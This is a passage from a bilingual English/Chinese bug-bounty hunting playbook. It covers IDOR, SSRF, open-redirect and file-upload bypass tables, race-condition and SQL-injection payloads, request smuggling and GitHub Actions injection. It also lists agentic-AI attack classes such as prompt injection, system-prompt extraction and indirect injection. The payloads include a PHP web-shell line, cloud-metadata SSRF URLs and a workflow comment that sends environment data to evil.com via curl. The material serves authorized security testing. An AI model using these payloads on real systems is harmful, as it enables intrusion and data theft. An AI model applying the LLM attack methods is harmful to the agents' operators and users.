  3. 阅读 diff——识别反模式
  4. 在目标中 grep 相同的反模式

Threat Model Template

威胁建模模板

TARGET: _______________
CROWN JEWELS: 1.___ 2.___ 3.___
ATTACK SURFACE:
  [ ] Unauthenticated: login, register, password reset, public APIs
  [ ] Authenticated: all user-facing endpoints, file uploads, API calls
  [ ] Cross-tenant: org/team/workspace ID parameters
  [ ] Admin: /admin, /internal, /debug
HIGHEST PRIORITY (crown jewel x easiest entry):
  1.___ 2.___ 3.___
TARGET: _______________
CROWN JEWELS: 1.___ 2.___ 3.___
ATTACK SURFACE:
  [ ] Unauthenticated: login, register, password reset, public APIs
  [ ] Authenticated: all user-facing endpoints, file uploads, API calls
  [ ] Cross-tenant: org/team/workspace ID parameters
  [ ] Admin: /admin, /internal, /debug
HIGHEST PRIORITY (crown jewel x easiest entry):
  1.___ 2.___ 3.___

6 Key Patterns from Top Reports

顶尖报告中的 6 种关键模式

  1. Feature Complexity = Bug Surface -- imports, integrations, multi-tenancy, multi-step workflows
  2. Developer Inconsistency = Strongest Evidence --
    timingSafeEqual
    in one place,
    ===
    elsewhere
  3. "Else Branch" Bug -- proxy/gateway passes raw token without validation in else path
  4. Import/Export = SSRF -- every "import from URL" feature has historically had SSRF
  5. Secondary/Legacy Endpoints = No Auth --
    /api/v1/
    guarded but
    /api/
    isn't
  6. Race Windows in Financial Ops -- check-then-deduct as two DB operations = double-spend

  1. 功能复杂度 = 漏洞面——导入、集成、多租户、多步骤工作流
  2. 开发者不一致 = 最有力证据——一个位置使用
    timingSafeEqual
    ,另一个位置使用
    ===
  3. “Else 分支”漏洞——proxy/gateway 在 else 路径中传递原始 token,却没有验证
  4. 导入/导出 = SSRF——历史上每个“从 URL 导入”功能都曾出现 SSRF
  5. 次要/旧版端点 = 无认证——
    /api/v1/
    有保护,但
    /api/
    没有
  6. 金融操作中的竞态窗口——检查后扣减被拆成两次 DB 操作 = 双倍消费

PHASE 3: HUNT

PHASE 3:HUNT(漏洞挖掘)

Note-Taking System (Never Hunt Without This)

笔记系统(没有笔记系统时绝不要开始挖掘)

markdown
undefined
markdown
undefined

TARGET: company.com -- SESSION 1

TARGET: company.com -- SESSION 1

Interesting Leads (not confirmed bugs yet)

Interesting Leads (not confirmed bugs yet)

  • [14:22] /api/v2/invoices/{id} -- no auth check visible in source, testing...
  • [14:22] /api/v2/invoices/{id} -- no auth check visible in source, testing...

Dead Ends (don't revisit)

Dead Ends (don't revisit)

  • /admin -> IP restricted, confirmed by trying 15+ bypass headers
  • /admin -> IP restricted, confirmed by trying 15+ bypass headers

Anomalies

Anomalies

  • GET /api/export returns 200 even when session cookie is missing
  • Response time: POST /api/check-user -> 150ms (exists) vs 8ms (doesn't)
  • GET /api/export returns 200 even when session cookie is missing
  • Response time: POST /api/check-user -> 150ms (exists) vs 8ms (doesn't)

Rabbit Holes (time-boxed, max 15 min each)

Rabbit Holes (time-boxed, max 15 min each)

  • 10 min: JWT kid injection on auth endpoint
  • 10 min: JWT kid injection on auth endpoint

Confirmed Bugs

Confirmed Bugs

  • [15:10] IDOR on /api/invoices/{id} -- read+write
undefined
  • [15:10] IDOR on /api/invoices/{id} -- read+write
undefined

Subdomain Type -> Hunt Strategy

子域名类型 -> 挖掘策略

  • dev/staging/test: Debug endpoints, disabled auth, verbose errors
  • admin/internal: Default creds, IP bypass headers (
    X-Forwarded-For: 127.0.0.1
    )
  • api/api-v2: Enumerate with kiterunner, check older unprotected versions
  • auth/sso: OAuth misconfigs, open redirect in
    redirect_uri
  • upload/cdn: CORS, path traversal, stored XSS
  • dev/staging/test:Debug 端点、禁用的认证、详细错误信息
  • admin/internal:默认凭据、IP 绕过 Header(
    X-Forwarded-For: 127.0.0.1
    )
  • api/api-v2:使用 kiterunner 枚举,检查未受保护的旧版本
  • auth/sso:OAuth 配置错误、
    redirect_uri
    中的开放重定向
  • upload/cdn:CORS、路径遍历、存储型 XSS

CVE-Seeded Audit Approach

CVE 种子审计方法

  1. Build a CVE eval set -- collect 5-10 prior CVEs for the target codebase
  2. Reproduce old bugs -- verify you can find the pattern in older code
  3. Pattern-match forward -- search for the same anti-pattern in current code
  4. Focus on wide attack surfaces -- JS engines, parsers, anything processing untrusted external input
  1. 构建 CVE 评估集——为目标代码库收集 5 到 10 个历史 CVE
  2. 复现旧漏洞——验证你能否在旧代码中找到该模式
  3. 向前进行模式匹配——在当前代码中搜索相同的反模式
  4. 聚焦广泛攻击面——JS 引擎、解析器,以及任何处理不可信外部输入的组件

Rust/Blockchain Source Code (Hard-Won Lessons)

Rust/区块链源代码(经验教训)

Panic paths: encoding vs decoding --
.unwrap()
on an encoding path is NOT attacker-triggerable. Only panics on deserialization/decoding of network input are exploitable.
"Known TODO" is not a mitigation -- A comment like
// Votes are not signed for now
doesn't mean safe.
Pattern-based hunting from confirmed findings -- If
verify_signed_vote
is broken, check
verify_signed_proposal
and
verify_commit_signature
.
bash
undefined
Panic 路径:编码与解码——编码路径上的
.unwrap()
并不是攻击者可以触发的。只有对网络输入进行反序列化或解码时产生的 panic 才可利用。
“已知 TODO”不是缓解措施——类似
// Votes are not signed for now
的注释并不意味着安全。
从已确认发现中进行模式化挖掘——如果
verify_signed_vote
存在问题,也要检查
verify_signed_proposal
和
verify_commit_signature
。
bash
undefined

Rust dangerous patterns (network-facing)

Rust dangerous patterns (network-facing)

grep -rn ".unwrap()|.expect(" --include=".rs" | grep -v "test|encode|to_bytes|serialize" grep -rn "if let Ok|let _ =" --include=".rs" | grep -i "verify|sign|cert|auth" grep -rn "TODO|FIXME|not signed|not verified|for now" --include="*.rs" | grep -i "sign|verify|cert|auth"

---
grep -rn ".unwrap()|.expect(" --include=".rs" | grep -v "test|encode|to_bytes|serialize" grep -rn "if let Ok|let _ =" --include=".rs" | grep -i "verify|sign|cert|auth" grep -rn "TODO|FIXME|not signed|not verified|for now" --include="*.rs" | grep -i "sign|verify|cert|auth"

---

VULNERABILITY HUNTING CHECKLISTS

漏洞挖掘检查清单

IDOR -- Insecure Direct Object Reference

IDOR——不安全的直接对象引用

#1 most paid web2 class -- 30% of all submissions that get paid.
#1 收益最高的 Web2 漏洞类型——所有获得奖金的提交中有 30% 属于此类。

IDOR Variants (10 Ways to Test)

IDOR 变体(10 种测试方式)

VariantWhat to Test
V1: DirectChange object ID in URL path
/api/users/123
->
/api/users/456
V2: Body paramChange ID in POST/PUT JSON body
{"user_id": 456}
V3: GraphQL node
{ node(id: "base64(OtherType:123)") { ... } }
V4: Batch/bulk
/api/users?ids=1,2,3,4,5
-- request multiple IDs at once
V5: NestedChange parent ID:
/orgs/{org_id}/users/{user_id}
V6: File path
/files/download?path=../other-user/file.pdf
V7: PredictableSequential integers, timestamps, short UUIDs
V8: Method swapGET returns 403? Try PUT/PATCH/DELETE on same endpoint
V9: Version rollbackv2 blocked? Try
/api/v1/
same endpoint
V10: Header injection
X-User-ID: victim_id
,
X-Org-ID: victim_org
变体测试内容
V1:直接对象修改 URL 路径中的对象 ID:
/api/users/123
->
/api/users/456
V2:Body 参数修改 POST/PUT JSON Body 中的 ID:
{"user_id": 456}
V3:GraphQL node
{ node(id: "base64(OtherType:123)") { ... } }
V4:批量/批量操作
/api/users?ids=1,2,3,4,5
——一次请求多个 ID
V5:嵌套对象修改父级 ID:
/orgs/{org_id}/users/{user_id}
V6:文件路径
/files/download?path=../other-user/file.pdf
V7:可预测连续整数、时间戳、短 UUID
V8:方法替换GET 返回 403?尝试在同一端点执行 PUT/PATCH/DELETE
V9:版本回退v2 被阻止?尝试在同一端点使用
/api/v1/
V10:Header 注入
X-User-ID: victim_id
、
X-Org-ID: victim_org

IDOR Testing Checklist

IDOR 测试检查清单

  • Create two accounts (A = attacker, B = victim)
  • Log in as A, perform all actions, note all IDs in requests
  • Log in as B, replay A's requests with A's IDs using B's auth
  • Try EVERY endpoint with swapped IDs -- not just GET, also PUT/DELETE/PATCH
  • Check API v1/v2 differences
  • Check GraphQL schema for node() queries
  • Check WebSocket messages for client-supplied IDs
  • Test batch endpoints (can you request multiple IDs?)
  • Try adding unexpected params:
    ?user_id=other_user
  • 创建两个账户(A = 攻击者,B = 受害者)
  • 以 A 登录,执行所有操作,并记录请求中的所有 ID
  • 以 B 登录,使用 B 的认证信息重放带 A 的 ID 的请求
  • 对每个端点尝试交换 ID——不只是 GET,还包括 PUT/DELETE/PATCH
  • 检查 API v1/v2 差异
  • 检查 GraphQL schema 中的 node() 查询
  • 检查 WebSocket 消息中的客户端提供 ID
  • 测试批量端点(能否一次请求多个 ID?)
  • 尝试添加意外参数:
    ?user_id=other_user

IDOR Chains (higher payout)

IDOR 漏洞链(收益更高)

  • IDOR + Read PII = Medium
  • IDOR + Write (modify other's data) = High
  • IDOR + Admin endpoint = Critical (privilege escalation)
  • IDOR + Account takeover path = Critical
  • IDOR + Chatbot (LLM reads other user's data) = High
  • IDOR + 读取 PII = Medium
  • IDOR + 写入(修改他人数据)= High
  • IDOR + 管理端点 = Critical(权限提升)
  • IDOR + 账户接管路径 = Critical
  • IDOR + Chatbot(LLM 读取其他用户数据)= High

SSRF -- Server-Side Request Forgery

SSRF——服务端请求伪造

  • Try cloud metadata:
    http://169.254.169.254/latest/meta-data/
  • Try internal services:
    http://127.0.0.1:6379/
    (Redis),
    :9200
    (Elasticsearch),
    :27017
    (MongoDB)
  • Test all IP bypass techniques (see table below)
  • Test protocol bypass:
    file://
    ,
    dict://
    ,
    gopher://
  • Look in: webhook URLs, import from URL, profile picture URL, PDF generators, XML parsers
  • 尝试云元数据:
    http://169.254.169.254/latest/meta-data/
  • 尝试内部服务:
    http://127.0.0.1:6379/
    (Redis)、
    :9200
    (Elasticsearch)、
    :27017
    (MongoDB)
  • 测试所有 IP 绕过技术(见下表)
  • 测试协议绕过:
    file://
    、
    dict://
    、
    gopher://
  • 查找位置:webhook URL、从 URL 导入、头像 URL、PDF 生成器、XML 解析器

SSRF IP Bypass Table (11 Techniques)

SSRF IP 绕过表(11 种技术)

BypassPayloadNotes
Decimal IP
http://2130706433/
127.0.0.1 as single decimal
Hex IP
http://0x7f000001/
Hex representation
Octal IP
http://0177.0.0.1/
Octal 0177 = 127
Short IP
http://127.1/
Abbreviated notation
IPv6
http://[::1]/
Loopback in IPv6
IPv6-mapped
http://[::ffff:127.0.0.1]/
IPv4-mapped IPv6
Redirect chain
http://attacker.com/302->http://169.254.169.254
Check each hop
DNS rebindingRegister domain resolving to 127.0.0.1First check = external, fetch = internal
URL encoding
http://127.0.0.1%2523@attacker.com
Parser confusion
Enclosed alphanumeric
http://①②⑦.⓪.⓪.①
Unicode numerals
Protocol smuggling
gopher://127.0.0.1:6379/_INFO
Redis/other protocols
绕过方式Payload说明
十进制 IP
http://2130706433/
以单个十进制数表示 127.0.0.1
十六进制 IP
http://0x7f000001/
十六进制表示
八进制 IP
http://0177.0.0.1/
八进制 0177 = 127
短 IP
http://127.1/
缩写表示法
IPv6
http://[::1]/
IPv6 Loopback
IPv4 映射 IPv6
http://[::ffff:127.0.0.1]/
IPv4 映射 IPv6
重定向链
http://attacker.com/302->http://169.254.169.254
检查每一个跳转
DNS rebinding注册解析到 127.0.0.1 的域名首次检查为外部,请求时为内部
URL 编码
http://127.0.0.1%2523@attacker.com
解析器混淆
字母数字包围形式
http://①②⑦.⓪.⓪.①
Unicode 数字
协议走私
gopher://127.0.0.1:6379/_INFO
Redis 或其他协议

SSRF Impact Chain

SSRF 影响链

  • DNS-only = Informational (don't submit)
  • Internal service accessible = Medium
  • Cloud metadata readable = High (key exposure)
  • Cloud metadata + exfil keys = Critical (code execution on cloud)
  • Docker API accessible = Critical (direct RCE)
  • 仅 DNS = Informational(不要提交)
  • 可访问内部服务 = Medium
  • 可读取云元数据 = High(密钥暴露)
  • 云元数据 + 密钥外泄 = Critical(云上代码执行)
  • 可访问 Docker API = Critical(直接 RCE)

OAuth / OIDC

OAuth / OIDC

  • Missing
    state
    parameter -> CSRF
  • redirect_uri
    accepts wildcards -> ATO
  • Missing PKCE -> code theft
  • Implicit flow -> token leakage in referrer
  • Open redirect in post-auth redirect -> OAuth token theft chain
  • 缺少
    state
    参数 -> CSRF
  • redirect_uri
    接受通配符 -> ATO
  • 缺少 PKCE -> 授权码窃取
  • Implicit flow -> Referrer 中泄露 token
  • 认证后的重定向存在开放重定向 -> OAuth token 窃取漏洞链

Open Redirect Bypass Table (11 Techniques)

开放重定向绕过表(11 种技术)

Use these when chaining open redirect into OAuth code theft:
BypassPayloadNotes
Double URL encoding
%252F%252F
Decodes to
//
after double decode
Backslash
https://target.com\@evil.com
Some parsers normalize
\
to
/
Missing protocol
//evil.com
Protocol-relative
@-trick
https://target.com@evil.com
target.com becomes username
Protocol-relative
///evil.com
Triple slash
Tab/newline injection
//evil%09.com
Whitespace in hostname
Fragment trick
https://evil.com#target.com
Fragment misleads validation
Null byte
https://evil.com%00target.com
Some parsers truncate at null
Parameter pollution
?next=target.com&next=evil.com
Last value wins
Path confusion
/redirect/..%2F..%2Fevil.com
Path traversal in redirect
Unicode normalization
https://evil.com/target.com
Visual confusion
在将开放重定向串联为 OAuth 授权码窃取时使用:
绕过方式Payload说明
双重 URL 编码
%252F%252F
双重解码后变为
//
反斜杠
https://target.com\@evil.com
某些解析器会将
\
规范化为
/
缺少协议
//evil.com
协议相对 URL
@ 技巧
https://target.com@evil.com
target.com 成为 username
协议相对 URL
///evil.com
三斜杠
Tab/换行注入
//evil%09.com
hostname 中包含空白字符
Fragment 技巧
https://evil.com#target.com
Fragment 干扰验证逻辑
Null byte
https://evil.com%00target.com
某些解析器在 null 处截断
参数污染
?next=target.com&next=evil.com
最后一个值生效
路径混淆
/redirect/..%2F..%2Fevil.com
重定向中的路径遍历
Unicode 规范化
https://evil.com/target.com
视觉混淆

File Upload

文件上传

File Upload Bypass Table

文件上传绕过表

BypassTechnique
Double extension
file.php.jpg
,
file.php%00.jpg
Case variation
file.pHp
,
file.PHP5
Alternative extensions
.phtml
,
.phar
,
.shtml
,
.inc
Content-Type spoof
image/jpeg
header with PHP content
Magic bytes
GIF89a; <?php system($_GET['c']); ?>
.htaccess upload
AddType application/x-httpd-php .jpg
SVG XSS
<svg onload=alert(1)>
Race conditionUpload + execute before cleanup runs
Polyglot JPEG/PHPValid JPEG that is also valid PHP
Zip slip
../../etc/cron.d/shell
in filename inside archive
绕过方式技术
双扩展名
file.php.jpg
、
file.php%00.jpg
大小写变体
file.pHp
、
file.PHP5
替代扩展名
.phtml
、
.phar
、
.shtml
、
.inc
Content-Type 欺骗使用
image/jpeg
Header,但内容为 PHP
Magic bytes
GIF89a; <?php system($_GET['c']); ?>
上传 .htaccess
AddType application/x-httpd-php .jpg
SVG XSS
<svg onload=alert(1)>
竞态条件在清理前完成上传与执行
JPEG/PHP Polyglot同时是有效 JPEG 和有效 PHP 的文件
Zip slip压缩包内文件名包含
../../etc/cron.d/shell

Magic Bytes Reference

Magic Bytes 参考

TypeHex
JPEG
FF D8 FF
PNG
89 50 4E 47 0D 0A 1A 0A
GIF
47 49 46 38
PDF
25 50 44 46
ZIP/DOCX/XLSX
50 4B 03 04
类型十六进制
JPEG
FF D8 FF
PNG
89 50 4E 47 0D 0A 1A 0A
GIF
47 49 46 38
PDF
25 50 44 46
ZIP/DOCX/XLSX
50 4B 03 04

Race Conditions

竞态条件

  • Coupon codes / promo codes
  • Gift card redemption
  • Fund transfer / withdrawal
  • Voting / rating limits
  • OTP verification brute via race
bash
seq 20 | xargs -P 20 -I {} curl -s -X POST https://TARGET/redeem \
  -H "Authorization: Bearer $TOKEN" -d 'code=PROMO10' &
wait
  • Coupon code / promo code
  • 礼品卡兑换
  • 资金转账/提现
  • 投票/评分限制
  • 通过竞态暴力破解 OTP 验证
bash
seq 20 | xargs -P 20 -I {} curl -s -X POST https://TARGET/redeem \
  -H "Authorization: Bearer $TOKEN" -d 'code=PROMO10' &
wait

Turbo Intruder -- Single-Packet Attack (All Requests Arrive Simultaneously)

Turbo Intruder——单数据包攻击(所有请求同时到达)

python
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=1,
                           pipeline=False,
                           engine=Engine.BURP2)
    for i in range(20):
        engine.queue(target.req, gate='race1')
    engine.openGate('race1')  # all 20 fire in a single TCP packet

def handleResponse(req, interesting):
    table.add(req)
python
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=1,
                           pipeline=False,
                           engine=Engine.BURP2)
    for i in range(20):
        engine.queue(target.req, gate='race1')
    engine.openGate('race1')  # all 20 fire in a single TCP packet

def handleResponse(req, interesting):
    table.add(req)

Business Logic

业务逻辑

  • Negative quantities in cart
  • Price parameter tampering
  • Workflow skip (e.g., pay without checkout)
  • Role escalation via registration fields
  • Privilege persistence after downgrade
  • 购物车中的负数数量
  • 价格参数篡改
  • 工作流跳过(例如不进入结账流程便完成支付)
  • 通过注册字段提升角色权限
  • 降级后权限仍然保留

XSS -- Cross-Site Scripting

XSS——跨站脚本

XSS Sinks (grep for these)

XSS Sink(对这些位置执行 grep)

javascript
// HIGH RISK
innerHTML = userInput
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...)    // string form
setInterval(userInput, ...)
new Function(userInput)

// MEDIUM RISK (context-dependent)
element.src = userInput        // JavaScript URI possible
element.href = userInput
location.href = userInput
javascript
// HIGH RISK
innerHTML = userInput
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...)    // string form
setInterval(userInput, ...)
new Function(userInput)

// MEDIUM RISK (context-dependent)
element.src = userInput        // JavaScript URI possible
element.href = userInput
location.href = userInput

XSS Chains (escalate from Medium to High/Critical)

XSS 漏洞链(从 Medium 升级到 High/Critical)

  • XSS + sensitive page (banking, admin) = High
  • XSS + CSRF token theft = CSRF bypass -> Critical action
  • XSS + service worker = persistent XSS across pages
  • XSS + credential theft via fake login form = ATO
  • XSS in chatbot response = stored XSS chain
  • XSS + 敏感页面(银行、管理后台)= High
  • XSS + CSRF token 窃取 = CSRF 绕过 -> Critical 操作
  • XSS + Service Worker = 跨页面持久化 XSS
  • XSS + 通过虚假登录表单窃取凭据 = ATO
  • Chatbot 响应中的 XSS = 存储型 XSS 漏洞链

SQL Injection

SQL 注入

Detection

检测

bash
undefined
bash
undefined

Single quote test

Single quote test

' OR '1'='1 ' OR 1=1-- ' UNION SELECT NULL--
' OR '1'='1 ' OR 1=1-- ' UNION SELECT NULL--

Error-based detection

Error-based detection

'; SELECT 1/0-- # divide by zero error reveals SQLi
undefined
'; SELECT 1/0-- # divide by zero error reveals SQLi
undefined

Modern SQLi WAF Bypass

现代 SQLi WAF 绕过

sql
-- Comment variation
/*!50000 SELECT*/ * FROM users
SE/**/LECT * FROM users
-- Case variation
SeLeCt * FrOm uSeRs
-- URL encoding
%27 OR %271%27=%271
-- Unicode apostrophe
' OR '1'='1
sql
-- Comment variation
/*!50000 SELECT*/ * FROM users
SE/**/LECT * FROM users
-- Case variation
SeLeCt * FrOm uSeRs
-- URL encoding
%27 OR %271%27=%271
-- Unicode apostrophe
' OR '1'='1

GraphQL

GraphQL

Introspection (alone = Informational, but reveals attack surface)

Introspection(单独来看为 Informational,但会暴露攻击面)

graphql
{ __schema { types { name fields { name type { name } } } } }
graphql
{ __schema { types { name fields { name type { name } } } } }

Missing Field-Level Auth

缺少字段级授权

graphql
undefined
graphql
undefined

User query returns only own data

User query returns only own data

{ user(id: 1) { name email } }
{ user(id: 1) { name email } }

But node() bypasses per-object auth:

But node() bypasses per-object auth:

{ node(id: "dXNlcjoy") { ... on User { email phoneNumber ssn } } }
undefined
{ node(id: "dXNlcjoy") { ... on User { email phoneNumber ssn } } }
undefined

Batching Attack (Rate Limit Bypass)

批处理攻击(绕过速率限制)

json
[
  {"query": "{ login(email: \"user@test.com\", password: \"pass1\") }"},
  {"query": "{ login(email: \"user@test.com\", password: \"pass2\") }"},
  "...100 more..."
]
json
[
  {"query": "{ login(email: \"user@test.com\", password: \"pass1\") }"},
  {"query": "{ login(email: \"user@test.com\", password: \"pass2\") }"},
  "...100 more..."
]

LLM / AI Features

LLM / AI 功能

  • Prompt injection via user input passed to LLM
  • Indirect injection via document/URL the AI processes
  • IDOR in chat history (enumerate conversation IDs)
  • System prompt extraction via roleplay/encoding
  • RCE via code execution tool abuse
  • ASCII smuggling (invisible unicode in LLM output)
  • 通过传入 LLM 的用户输入实施提示词注入
  • 通过 AI 处理的文档或 URL 实施间接提示词注入
  • Chat history 中的 IDOR(枚举 conversation ID)
  • 通过角色扮演或编码提取系统提示词
  • 滥用代码执行工具实现 RCE
  • ASCII 走私(在 LLM 输出中隐藏 Unicode 字符)

Agentic AI Hunting (OWASP ASI01-ASI10)

Agentic AI 挖掘(OWASP ASI01-ASI10)

When target has AI agents with tool access, these are the 10 attack classes:
IDVuln ClassWhat to Test
ASI01Prompt injectionOverride system prompt via user input -- make agent ignore its rules
ASI02Tool misuseMake AI call tools with attacker-controlled params (SSRF via "fetch URL", RCE via code tool)
ASI03Data exfilExtract training data / PII via crafted prompts that leak context
ASI04Privilege escalationUse AI to access admin-only tools -- agent has broader perms than user
ASI05Indirect injectionPoison document/URL the AI processes -- hidden instructions in fetched content
ASI06Excessive agencyAI takes destructive actions without confirmation -- delete, send, pay
ASI07Model DoSCraft inputs that cause infinite loops, excessive token usage, or OOM
ASI08Insecure outputAI generates XSS/SQLi/command injection in its output that gets rendered
ASI09Supply chainCompromised plugins/tools/MCP servers the AI calls
ASI10Sensitive disclosureAI reveals internal configs, API keys, system prompts, user data
Triage rule: ASI alone = Informational. Must chain to IDOR/exfil/RCE/ATO for paid bounty.
当目标拥有可访问工具的 AI agent 时,需要测试以下 10 类攻击:
ID漏洞类型测试内容
ASI01提示词注入通过用户输入覆盖系统提示词,让 agent 忽略其规则
ASI02工具滥用让 AI 使用攻击者控制的参数调用工具(通过“fetch URL”实施 SSRF,通过代码工具实施 RCE)
ASI03数据外泄通过精心构造的提示词提取训练数据/PII,泄露上下文
ASI04权限提升利用 AI 访问仅限管理员使用的工具——agent 的权限高于用户
ASI05间接提示词注入污染 AI 处理的文档或 URL,在获取的内容中植入隐藏指令
ASI06过度自主权AI 未经确认便执行破坏性操作——删除、发送、支付
ASI07模型 DoS构造导致无限循环、过量 token 消耗或 OOM 的输入
ASI08不安全输出AI 生成 XSS/SQLi/command injection,并且输出被渲染
ASI09供应链入侵 AI 调用的插件、工具或 MCP server
ASI10敏感信息披露AI 泄露内部配置、API key、系统提示词或用户数据
**分流规则:**单独的 ASI = Informational。必须串联到 IDOR、数据外泄、RCE 或 ATO,才能获得漏洞赏金。

Cache Poisoning / Web Cache Deception

缓存投毒 / Web Cache Deception

  • Test
    X-Forwarded-Host
    ,
    X-Original-URL
    ,
    X-Rewrite-URL
    -- unkeyed headers reflected in response
  • Parameter cloaking (
    ?param=value;poison=xss
    )
  • Fat GET (body params on GET requests)
  • Web cache deception (
    /account/settings.css
    -- trick cache into storing private response)
  • Param Miner (Burp extension) -- auto-discovers unkeyed headers
  • 测试
    X-Forwarded-Host
    、
    X-Original-URL
    、
    X-Rewrite-URL
    ——未作为缓存键的 Header 是否在响应中反射
  • 参数隐藏(
    ?param=value;poison=xss
    )
  • Fat GET(GET 请求携带 Body 参数)
  • Web cache deception(
    /account/settings.css
    ——诱导缓存存储私有响应)
  • Param Miner(Burp 扩展)——自动发现未作为缓存键的 Header

HTTP Request Smuggling

HTTP 请求走私

  • CL.TE: Content-Length processed by frontend, Transfer-Encoding by backend
  • TE.CL: Transfer-Encoding processed by frontend, Content-Length by backend
  • H2.CL: HTTP/2 downgrade smuggling
  • TE obfuscation:
    Transfer-Encoding: xchunked
    , tab prefix, space prefix
  • Use Burp "HTTP Request Smuggler" extension -- detects automatically
  • CL.TE:前端处理 Content-Length,后端处理 Transfer-Encoding
  • TE.CL:前端处理 Transfer-Encoding,后端处理 Content-Length
  • H2.CL:HTTP/2 降级走私
  • TE 混淆:
    Transfer-Encoding: xchunked
    、Tab 前缀、空格前缀
  • 使用 Burp 的“HTTP Request Smuggler”扩展——自动检测

CL.TE Example

CL.TE 示例

http
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
Frontend reads Content-Length: 13 -> sends all. Backend reads Transfer-Encoding -> sees chunk "0" = end -> "SMUGGLED" left in buffer -> next user's request poisoned.
http
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
前端读取 Content-Length: 13 -> 发送全部内容。后端读取 Transfer-Encoding -> 将 chunk “0” 视为结束 -> “SMUGGLED” 留在缓冲区中 -> 下一位用户的请求被污染。

Android / Mobile Hunting

Android / 移动端挖掘

  • Certificate pinning bypass (Frida/objection)
  • Exported activities/receivers (AndroidManifest.xml)
  • Deep link injection
  • Shared preferences / SQLite in cleartext
  • WebView JavaScript bridge
  • Mobile API often uses older/different API version than web
  • 证书固定绕过(Frida/objection)
  • 导出的 Activity/Receiver(AndroidManifest.xml)
  • Deep link 注入
  • Shared Preferences / SQLite 以明文存储
  • WebView JavaScript bridge
  • 移动端 API 通常使用比 Web 端更旧或不同的 API 版本

CI/CD Pipeline — GitHub Actions Security

CI/CD 流水线——GitHub Actions 安全

Tooling: Use sisakulint for automated SAST — 52 rules, taint propagation across steps/jobs/reusable workflows, 81.6% coverage of GitHub Security Advisories (31/38 GHSAs). Install:
brew install sisakulint
or download binary from releases.
Quick scan:
sisakulint scan .github/workflows/
— flags Critical/High issues with auto-fix suggestions. Remote scan:
sisakulint scan --remote owner/repo
— scan without cloning.
工具:使用 sisakulint 进行自动化 SAST——包含 52 条规则,支持跨步骤、Job 和 reusable workflow 的 taint propagation,覆盖 81.6% 的 GitHub Security Advisories(38 个 GHSA 中的 31 个)。安装:
brew install sisakulint
或从 releases 下载二进制文件。
快速扫描:
sisakulint scan .github/workflows/
——标记 Critical/High 问题并提供自动修复建议。 远程扫描:
sisakulint scan --remote owner/repo
——无需 clone 即可扫描。

Recon: Finding Workflow Files

Recon:查找 Workflow 文件

bash
undefined
bash
undefined

Clone target's public repos, then:

Clone target's public repos, then:

find . -name ".yml" -path "/.github/workflows/*" | head -50
find . -name ".yml" -path "/.github/workflows/*" | head -50

Quick grep for dangerous patterns:

Quick grep for dangerous patterns:

grep -rn "pull_request_target|workflow_run" .github/workflows/ grep -rn 'github.event.(issue|pull_request|comment)' .github/workflows/ grep -rn 'GITHUB_ENV|GITHUB_OUTPUT|GITHUB_PATH' .github/workflows/ grep -rn 'secrets.|secrets: inherit' .github/workflows/
grep -rn "pull_request_target|workflow_run" .github/workflows/ grep -rn 'github.event.(issue|pull_request|comment)' .github/workflows/ grep -rn 'GITHUB_ENV|GITHUB_OUTPUT|GITHUB_PATH' .github/workflows/ grep -rn 'secrets.|secrets: inherit' .github/workflows/

Run sisakulint on all workflows:

Run sisakulint on all workflows:

sisakulint scan .github/workflows/
undefined
sisakulint scan .github/workflows/
undefined

Category 1: Code Injection & Expression Safety (CICD-SEC-04)

类别 1:代码注入与表达式安全(CICD-SEC-04)

Root cause: Untrusted input (
github.event.issue.title
,
github.event.pull_request.body
, branch names, commit messages) interpolated into
run:
blocks via
${{ }}
expressions.
Taint sources (attacker-controlled):
github.event.issue.title / .body
github.event.pull_request.title / .body / .head.ref
github.event.comment.body
github.event.review.body
github.event.pages.*.page_name
github.event.commits.*.message / .author.name
github.event.head_commit.message / .author.name
github.event.workflow_run.head_branch
github.head_ref
  • Expression injection —
    ${{ github.event.issue.title }}
    in
    run:
    block = RCE
    yaml
    # VULNERABLE — attacker creates issue with title: a]]; curl https://evil.com/$(env | base64) #
    run: echo "${{ github.event.issue.title }}"
    
    # FIXED — use env var (shell-quoted, not expression-interpolated)
    env:
      TITLE: ${{ github.event.issue.title }}
    run: echo "$TITLE"
  • Environment variable injection — untrusted input →
    $GITHUB_ENV
    yaml
    # VULNERABLE — attacker injects newline + arbitrary VAR=VALUE
    run: echo "BRANCH=${{ github.head_ref }}" >> $GITHUB_ENV
    
    # FIXED — use heredoc delimiter
    run: |
      {
        echo "BRANCH<<EOF"
        echo "${{ github.head_ref }}"
        echo "EOF"
      } >> $GITHUB_ENV
  • PATH injection — untrusted input →
    $GITHUB_PATH
    = arbitrary binary execution
  • Output clobbering — untrusted input →
    $GITHUB_OUTPUT
    without heredoc delimiter = downstream job manipulation
  • Argument injection — untrusted input as CLI argument (e.g.,
    docker run ${{ ... }}
    )
    yaml
    # VULNERABLE
    run: docker run ${{ github.event.pull_request.body }}
    
    # FIXED — end-of-options marker + env var
    env:
      INPUT: ${{ github.event.pull_request.body }}
    run: docker run -- "$INPUT"
  • Request forgery (SSRF) — attacker-controlled URL in
    curl
    /
    wget
    within workflow
根因:不可信输入(
github.event.issue.title
、
github.event.pull_request.body
、分支名称、commit message)通过
${{ }}
表达式插入
run:
块。
Taint source(攻击者可控):
github.event.issue.title / .body
github.event.pull_request.title / .body / .head.ref
github.event.comment.body
github.event.review.body
github.event.pages.*.page_name
github.event.commits.*.message / .author.name
github.event.head_commit.message / .author.name
github.event.workflow_run.head_branch
github.head_ref
  • 表达式注入——
    run:
    块中的
    ${{ github.event.issue.title }}
    = RCE
    yaml
    # VULNERABLE — attacker creates issue with title: a]]; curl https://evil.com/$(env | base64) #
    run: echo "${{ github.event.issue.title }}"
    
    # FIXED — use env var (shell-quoted, not expression-interpolated)
    env:
      TITLE: ${{ github.event.issue.title }}
    run: echo "$TITLE"
  • 环境变量注入——不可信输入 ->
    $GITHUB_ENV
    yaml
    # VULNERABLE — attacker injects newline + arbitrary VAR=VALUE
    run: echo "BRANCH=${{ github.head_ref }}" >> $GITHUB_ENV
